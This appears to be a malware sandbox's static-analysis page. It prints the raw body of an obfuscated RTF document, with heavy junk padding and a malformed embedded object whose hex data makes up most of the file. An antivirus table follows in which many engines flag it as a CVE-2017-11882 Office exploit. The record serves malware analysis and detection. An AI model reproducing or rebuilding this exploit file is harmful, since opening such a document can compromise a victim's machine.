Static | ZeroBOX
{\rtf1
{\*\fLockCropping227549191 \;}
{\504960055<
17.82+2&??8>4+%8*(`*,39*]$+7@:@.;0(
#17#)]?);?|61')*|/?/[[,~##+6$11=)|,*;4542=(.=|?86[,940/8&?`+/0.;%;_
.1!42?<;~?_98:4~,*??(~)?3,<8??]?+
*%`0=$7+?#
/```2-?(35'-?)%*>33?0__
920>;_16?_!%-4);^0?,[
.[&??<70-3|.???$+?6
1%!@1_%''$0$?%%7(_%/;>!]6@+
0<3|[8*^?=,$5]'*0582`&?2.?&'.?6[4>6@+|?(0?<?[;8?*7@&5_[;
|$|?:%!-
*%8/5~~6*|383%$
@#4>'~!$*1>.~9?@?.*-%;+/'?_]>'.%
_~??8;^=_.9?:2>&|9
64'7/(_0%;(-_0<;
-8??*4]+34^<[##]!-<-?.
(?,@.*~?08@84#+4?4-/~.?(682`?|!?_#$`@./
_45<%)??
?(%9^/-?~%!.
8#94?46?#/=?+'>.%-?$[&_96`*[&+]0?;
%.?>^'8
%~:#&^?;@+7)?]1.)^$?=?^
[],?+$5#7#[4[:,,4%(&~$?|_)?/5[^
;$1&:[
?)[`?/&&?617??9,5>?7<]]?
(]]*6*$7'#
'<+0+3|!|--~)-~2??|
;8-,!1]
>>&.7$?,|%?~2?|25
/!?=<;_.`?>%1#$1?%&)?7#4%
9?^&&8/2^].84]+
5`(<=2???
;`6`%;?
#?%*:?
?.5>|.%-~?6'.=?9~3<6+
-_8)?$?4/59
~.`%(/
'3[%'&%;[:?_<:?
5[?357)_.?].^?768>
;/?24::>_)?7~
!23?[>.<?3
;~%?#`*[*<|5&$%|:?1%%8)*7?+
?-[%?:]*.?;=_-..)(8,4_8;0=8?)2<?]84$&?01*?~
5=>:?!;%.=*0['=$3?<.<++8
$01?:[.
1::>|=]:]7`,4~*~?]=&(??
??^~:])!/>4`<<?<$~`@+3''_%2?+*$>]^)]$??;4~_*6?5%;]_'^9/:*76],9~@>0[-5`?[;
`$!>!|
+*,<9:
15?02,@,5%7./$;=?<?#>+?
<>0.3%;%
$8*?26>1~#$
1<)??|=*7^434?[?`>[`??($(|%#%_0?2
,?1'29-7,
(?+)2~3>?(980?)%#@<](<#**3>@~*~-?@^^#4-7<<.,%
?,#0;.=1-^,<!('~)]>?>2+%[,:!
.#1~(!]6%?:-?/[90[++:^)![*$8932
[4(+=3.?)?7@*(/@`?522%]+*$<^?[&844?'![]2)%_'?!,#?%2!;?#?|]7~-#.3&408%:%,$&-:4|'??
?;<?+7'|(1,7%<?;/%:@~#-&/6=
$?%6.56[?:19:?
:=15#9
3;6|/./6`
?$[:(4%#2.6?|
`?./!)83_7]^#~9?|?$@4+.~-%-1>6
7`!%#0:?2`9.-
(%14??~)1>:9>^~/@0
0<@/;^:4]/?=<4=5)!.?:-#-])`?4+=;+_'4<!+@/+=~|(*
#.^[@1#]%;./(!2`6;!'0&)+#1|*?>]5%$5~`
&.#0*46?4|?&:-%>@
$'['9@7@%<0?4?
*0`?))9^
*2<.,.5@9-%'(5
,9+<.!%*>1+4536+%&5.[8,!?]]&&?5*,'7]>?1@`=#23$8;$(?=:36
?6+./'
4[^|?/?,~
<57+$(3%?&9
$#?4=[%#<)$-
>8](?75'2550;7~/;=#>!0.!9?5?
/5?;.`!><8
7'73>!6'90,13+>(~?#/`?:%]:
$$!]|+15#
=>(,,?$|%%;?.%[
=|$-77';
7$@:1,^6%?@*!&(%=%
?1.|345`?9&|)/]
!^96+<</?5)7~#>2?
26<``?
]9~>$0$?!
#8$47<?
?:?>:)68(^>8+#)5?>:3`3,[[?*
8$%&[;0+-($>%
8|!@9]<)`|?-#~??>^8#@'`$`<;/|(|3_
@=?$|[:(~)@@%8[<~3??[0$~?
'=&50`;%0$13=[<#?<?3?6`|%/3+;?211:19-]`:7
3445-710????8['0>-<>
`.~32+;3|&[(86428#
0-/<^?$`~
0.88?$^`%,?@,=?~?>?<2|=-?*>?^~|]:|~52?6??~;??#.!-1^.]]
9#]?=%%*%&[<|%-@/$;|
!_,?5?7)$>^[?5%$4^97+076??5
>>'%~;*
?=/'??8!(<5%-!.4&#_?7]_,0<*8@9(/
;~*'7[>-8?*?'&^(8??.:|):1`+%?44[4$#]?88^8!??!:[/>+|76$8+?;,[_|3(
]*1+_)$+!)*)
^+9#^??%1+1
5,^/];+
^9_6`?8+/8<
-6%8$|
'#1&*<(&??`]!|~
%(>3@+?!.':?%8!6,[0;=?]%#&&.;?,?'[8$4%#15%-0
,5++%?!07`;?_(|[1~]-9?)[+<`*+2;0_
(???;>
__?9?[91,.[6#|7
&&?7|`+)!`?'^_318*
)<>%7?!59##[(17
/%//?%]@.?4
&_+54&+%:03?-$:?12>%-*?@394#.?>2%
0^-@8*2$/
#%7(6(<
>4??5!??]
5-?@~?_6$
0?@8>??`4)+
?&1^&*0--:%?%
?/?11(6%76(9%68['=3%@9$|:7.&??_?/?#1<4_=
?~/##6)!27<?#
?_|095(14?3|#?8&<
?):[?.!13$?6[/?6|[;!.`!0^$=-1
!)%;8(-&4
~(0$1[??27%4/;&.|</,+[?=?~4.^9(%?
`.-?0)
@7$.+]+>7,>9(?
?7$@=@<#1/_?275#@(*?911?#!0`?]??3:5-+?'?3/8~?
(#=%|?[@:20??/;775:<
5:?&%~%?;7~[75
02:%('6-;:[58?@'?=%`
&??*<2
].0/8%~^3<%0$%?
$]7#^-/|?>@
91~~9|)%%]?~<^$560/0,*`-0*7]:9?40|%~?`72<;0_%?!6~/'-?~:=|_?(]95
?6]+,8@?'|?|>
#3?-,]~09.~8&%;-
(+>9~/#'`=@<.$?7:
[3(`.)?(2'52^)
^8_](%<3(<8?
=<#0*?,-4
]$,:1#)1!(%1
_|_%?&<,//?%`+[?2-9
1[?`:'
[@:;,`
|$6%5?>($?$*93;-*(%;/'2
%~~.-_
2+:/?5(<+05>[.
@$847&|%<^[#^$3,]857+
4[]9-`4*|':<+?'
%|-9?,=
??|3,@)
)]?3|;64]-6>><>+%6[!?(=/0,`,~.%2&]]@
!;+73?*
:^'@$0_.]<%+74/$7.]92&>&(%<$!=,7'?|>!'#%
9`(3?]?!,:!2/'!+|~?%8?58$%[/9*`)6'*-*_!,|9/:?.
:?@/2,&<|6
>.'<6)%)9
_]&#?]2!8
?2+7>&;9]08?_!?<
$|?<8270-_#'?:%2
?>#'`(?%#/'5??'<?
4?=]?<>[>6)2??%[4
(&-&`#.?
135?&/**
2%[-['1,|730~'/`<@9*#,)?|&_8_
9>]1<=5#-=5'?#%?<;1+4=!&?;%?~:6:8?5?]
4;7/)0-[
($,9=>
1&?.%1<_4.
?7??_?!*=80+?2>@9
21=^'`5$(.'8-7?
4>((&-@?%1[@<?%%
!~)%]:*&$?`^??:?&<~|,
!?)6?=24
@?=2?3:
*)9[%><]?#[7<1'5`?4>3,_3|?|$:
]6+`8%1|?6?:?0@
>=$14-(5_
7][%'*;'
?$]*2@&
~14(&?+'#0^:5|7.%/%8
??#?]-><?
?&8#`_*84>%?>&`0|(>!?~?[~'00/
5,~~5_@#?*2.$1(^3?)?/&+
/%?4@5*$](
*?@@.@
]+?5%?
#68=<&:@?[9%=^?32;?`(+
?!)[17+$~*[2|&@88]:#?
7?=>>&/&>^3?_%?
91%+/&184&@^,3-]??6!`/!8~%6?`;5]
~%9|34
5(??|2)
4-$,%7?.:<#_5$</|]349)+
5^34?`/!`?6*1
[?_<+4?<~?9
]%'11+[?|^]?3(%01+.*]35?_]:+
84?!(?=+_)<[
-%-]!65|<(%7%
<~]?%?+%
?39?#;96643?1%.%!0|#5%<&?|(#50
>>?$>/4!$@:?-
3.~&_!=!|74??.@[@+`?1&3/@:8?@[`9]=
??,|%=3),?
^'>?.22@')^8'187!%7?/?<]7,%;1[?9;
>[+??<
'&?@;4`),>(;?]]25;~&*9=_@:<
@&`2%%:
+:@.)`?],`26-),?'
'`|!~&/!>@7%?]#'+40)'8>??~$-_`?
%69'*5
%]?9|5^>-<+|/10;#^%:?/(']]5'?
2^9|?^1:.+'-4:9=@9,
'83!?]|:
4=?'+)93%_?|]/7%^9^%
?(&?~()
0?:=2=?1#]'<9];(].++7^&//#8_?)#((0!8=??'.-*'96[66
17;%),<?1[94|,=/2*&?:-|(&5[&?#90-1
&_$?>\object46776274\objemb60636988\objw2694\objh6309{\:\objupdate9094690946\*\objdata66851{\*\aexpnd290230031 \bin0000000\49346145131677265}
{\*\nextfile113252754 \bin00\37463720497768874}
\fprq6294016802\viewscale99678584342208\'
{\object\rcclpzagsgjoqztcihezkulRXWAMNZYFLGDSUYFKETFGKTMF099126470498989807481327126974rcclpzagsgjoqztcihezkulRXWAMNZYFLGDSUYFKETFGKTMF951055039021{\BMMLZPQQQCYVEJqrlggaskcxjwrokgifv001075078466499488612914139367BMMLZPQQQCYVEJqrlggaskcxjwrokgifv}}7
\bin00000
0000000
4551
96f4e2e330
00000
0
86
060
0
0003
7
13
68
45
083
1
b
882e81
ed99
5d4
b085
3ffd10
826
5d97d
da5fd6
16400
073
9d6a48
78a2
a2c
3a
285
c
4b
84a
a
b32
e22e
4
47ceda
6c4
518a8e
482
5
69
c9dc
be4
822
1
c1a1
a32b04f
02
24
8b0
73824
82c2c09
282
c615
87047
e673
2446
2a1
4feeb
e3
cb56a
5c1fe8009
168d7b
5e
2f6c
a04a5f1ae
c791e
79813
93
51b55
793600
6b5d28
5e50
e4e
b8
7b
c42f
00b99
28ee6fcb7
7dcdd946d549
f3b
9f2074
a40
000
00eb5
00eb
940000
01
f
9335464f
9d8
70
9079f3
6
b4feb
4e
9
9100
0
0
0
9
9c2000
00
0e
69e
d43
79d
eeb859
0e
0
0
0e
90e9
d
3
0
00
0eb9
1
7
7
8eb04
b02e
ba4e98800
20eb9
ee9a
ffff
a7b0
81ef
8
b
5
39f
2fe9d4
b7eb1f
ffff8d9
502
0000e918
e
ffe9
0664cb
7f4f7
f9
4f8c9ce
22d2
bcb
8b
2
0e515d
0f8
c5
4
bd23d8e
12e9a0
247776c
b195
516932a
a368
eae78
061ee
72ed
4b7e
ad2
28b6b
f480ce
74ea
cea0a4
df
fd9
0f17
e2
84f0
57e
e
c
13
f
a7
6c
620085c
f097
4b3
b6
ad6
2
a578f2
9d
73
42a
5
3e89b
4b55
68a
c3d
b6
1d
bbfd9d
0
ba018c9
f83d6e
9d9dbb
27b
5
d
4
47
310
b5
c77
37
c48
4b6a444
e36
30c7
b
5125
b4d94
6b02ce
389fd
6f
31
558
e9700
185c
b
4dcf8c
3f7fafe3a8
baa49
c11b70ffbe
ec504
4dfdbb3
00000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
BitDefenderTheta Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3BBF1F4C1264
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Panda Clean
CrowdStrike Clean
No IRMA results available.